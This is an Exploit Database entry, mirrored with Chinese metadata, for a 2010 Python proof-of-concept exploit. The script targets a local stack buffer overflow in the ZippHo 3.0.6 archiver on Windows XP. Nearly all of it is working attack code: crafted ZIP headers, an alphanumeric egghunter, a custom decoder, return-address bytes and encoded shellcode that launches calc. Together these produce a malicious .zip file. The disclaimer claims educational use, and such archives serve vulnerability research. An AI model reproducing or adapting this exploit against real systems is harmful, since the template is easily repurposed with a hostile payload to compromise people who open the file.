ZippHo 3.0.6 – ‘.zip’ Local Stack Buffer Overflow

• Exploit Database
• 13 阅读

• 作者： mr_me
  日期： 2010-03-18
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/11797/

• #!/usr/bin/python
  # #######################################################################
  # ZippHo 3.0.6 (.zip) 0day stack buffer overflow PoC exploit
  # Author: mr_me - http://net-ninja.net/ & http://twitter.com/StevenSeeley
  # Download: http://www.brothersoft.com/zippho-71295.html
  # Platform: Windows XP sp3 En
  # Greetz to: Corelan Security Team & fl0 fl0w
  # http://www.corelan.be:8800/index.php/security/corelan-team-members/
  # #######################################################################
  # Script provided 'as is', without any warranty.
  # Use for educational purposes only.
  # Do not use this code to do anything illegal !
  #
  # Note : you are not allowed to edit/modify this code.
  # If you do, Corelan cannot be held responsible for any damages this may cause.
  
  print "|------------------------------------------------------------------|"
  print "| __ __|"
  print "| _________________/ /___ _____ / /________ _____ ___|"
  print "|/ ___/ __ \/ ___/ _ \/ / __ `/ __ \ / __/ _ \/ __ `/ __ `__ \ |"
  print "| / /__/ /_/ / //__/ / /_/ / / / // /_/__/ /_/ / / / / / / |"
  print "| \___/\____/_/ \___/_/\__,_/_/ /_/ \__/\___/\__,_/_/ /_/ /_/|"
  print "||"
  print "| http://www.corelan.be:8800 |"
  print "|security@corelan.be |"
  print "||"
  print "|-------------------------------------------------[ EIP Hunters ]--|"
  print "[+] ZippHo 3.0.6 (.zip) 0day stack buffer overflow PoC exploit"
  
  # local file header
  lf_header = ("\x50\x4B\x03\x04\x14\x00\x00\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00"
  "\x00\x00\x00\x00\x00\x00\x00\x00\xe4\x0f\x00\x00\x00")
  
  # central directory file header
  cdf_header = ("\x50\x4B\x01\x02\x14\x00\x14\x00\x00\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00"
  "\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe4\x0f\x00\x00\x00\x00\x00\x00\x01\x00"
  "\x24\x00\x00\x00\x00\x00\x00\x00")
  
  # end of central directory record
  efcdr_record = ("\x50\x4B\x05\x06\x00\x00\x00\x00\x01\x00\x01\x00"
  "\x12\x10\x00\x00\x02\x10\x00\x00\x00\x00")
  
  # asci egghunter
  egghunter= ("JJJJJJJJJJJJJJJJJ7RYjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIQvK1"
  "9ZKO6orbv2bJgr2xZmtnulfePZPthoOHbwFPtpbtLKkJLo1eJJloPuKW9okWA")
  
  # encoded calc
  calc = ("\xd9\xf7\xd9\x74\x24\xf4\x5b\x53\x59\x49\x49\x49\x49\x49\x49"
  "\x49\x49\x49\x43\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a\x41"
  "\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42"
  "\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x4b"
  "\x4c\x4a\x48\x51\x54\x45\x50\x43\x30\x45\x50\x4c\x4b\x51\x55"
  "\x47\x4c\x4c\x4b\x43\x4c\x43\x35\x43\x48\x43\x31\x4a\x4f\x4c"
  "\x4b\x50\x4f\x44\x58\x4c\x4b\x51\x4f\x47\x50\x45\x51\x4a\x4b"
  "\x50\x49\x4c\x4b\x46\x54\x4c\x4b\x43\x31\x4a\x4e\x50\x31\x49"
  "\x50\x4a\x39\x4e\x4c\x4b\x34\x49\x50\x42\x54\x44\x47\x49\x51"
  "\x49\x5a\x44\x4d\x45\x51\x49\x52\x4a\x4b\x4b\x44\x47\x4b\x50"
  "\x54\x47\x54\x45\x54\x44\x35\x4d\x35\x4c\x4b\x51\x4f\x51\x34"
  "\x43\x31\x4a\x4b\x42\x46\x4c\x4b\x44\x4c\x50\x4b\x4c\x4b\x51"
  "\x4f\x45\x4c\x43\x31\x4a\x4b\x4c\x4b\x45\x4c\x4c\x4b\x43\x31"
  "\x4a\x4b\x4c\x49\x51\x4c\x46\x44\x43\x34\x48\x43\x51\x4f\x50"
  "\x31\x4a\x56\x43\x50\x50\x56\x42\x44\x4c\x4b\x50\x46\x50\x30"
  "\x4c\x4b\x47\x30\x44\x4c\x4c\x4b\x42\x50\x45\x4c\x4e\x4d\x4c"
  "\x4b\x42\x48\x45\x58\x4b\x39\x4a\x58\x4b\x33\x49\x50\x42\x4a"
  "\x50\x50\x42\x48\x4c\x30\x4c\x4a\x44\x44\x51\x4f\x45\x38\x4a"
  "\x38\x4b\x4e\x4d\x5a\x44\x4e\x46\x37\x4b\x4f\x4d\x37\x42\x43"
  "\x45\x31\x42\x4c\x43\x53\x46\x4e\x43\x55\x43\x48\x45\x35\x45"
  "\x50\x41\x41")
  
  # custom decoder
  decoder = ("\x25\x4A\x4D\x4E\x55"
  "\x25\x35\x32\x31\x2A\x2d\x55\x55"
  "\x55\x5f\x2d\x56\x55\x56\x5f\x2d"
  "\x55\x55\x55\x5e\x50\x25\x4A\x4D"
  "\x4E\x55\x25\x35\x32\x31\x2A\x2d"
  "\x2b\x6a\x32\x53\x2d\x2a\x6a\x31"
  "\x54\x2d\x2a\x69\x31\x54\x50")
  
  # attack string
  exploit = "\x43" * 10
  exploit += egghunter
  exploit += "\x41" * (221-len(exploit))
  exploit += "\x61"
  exploit += "\x53"
  exploit += "\x5c"
  exploit += decoder
  exploit += "\x41" * (292-len(exploit))
  exploit += "\x73\xf9\x41\x41"
  exploit += "\x70\x54\x54\x00"
  exploit += "\x57\x30\x30\x54"
  exploit += "\x57\x30\x30\x54"
  # I have no eyes, I make the flash of lightning my eyes ~ samurai creed.
  exploit += calc
  exploit += "\x41" * (4064-len(exploit))
  exploit += "\x2e\x74\x78\x74"
  print "[+] Writing attack string to file.."
  mefile = open('cst-zippho.zip','w')
  mefile.write(lf_header + exploit + efcdr_record + exploit + efcdr_record)
  mefile.close()
  print "[+] Created cst-zippho.zip!"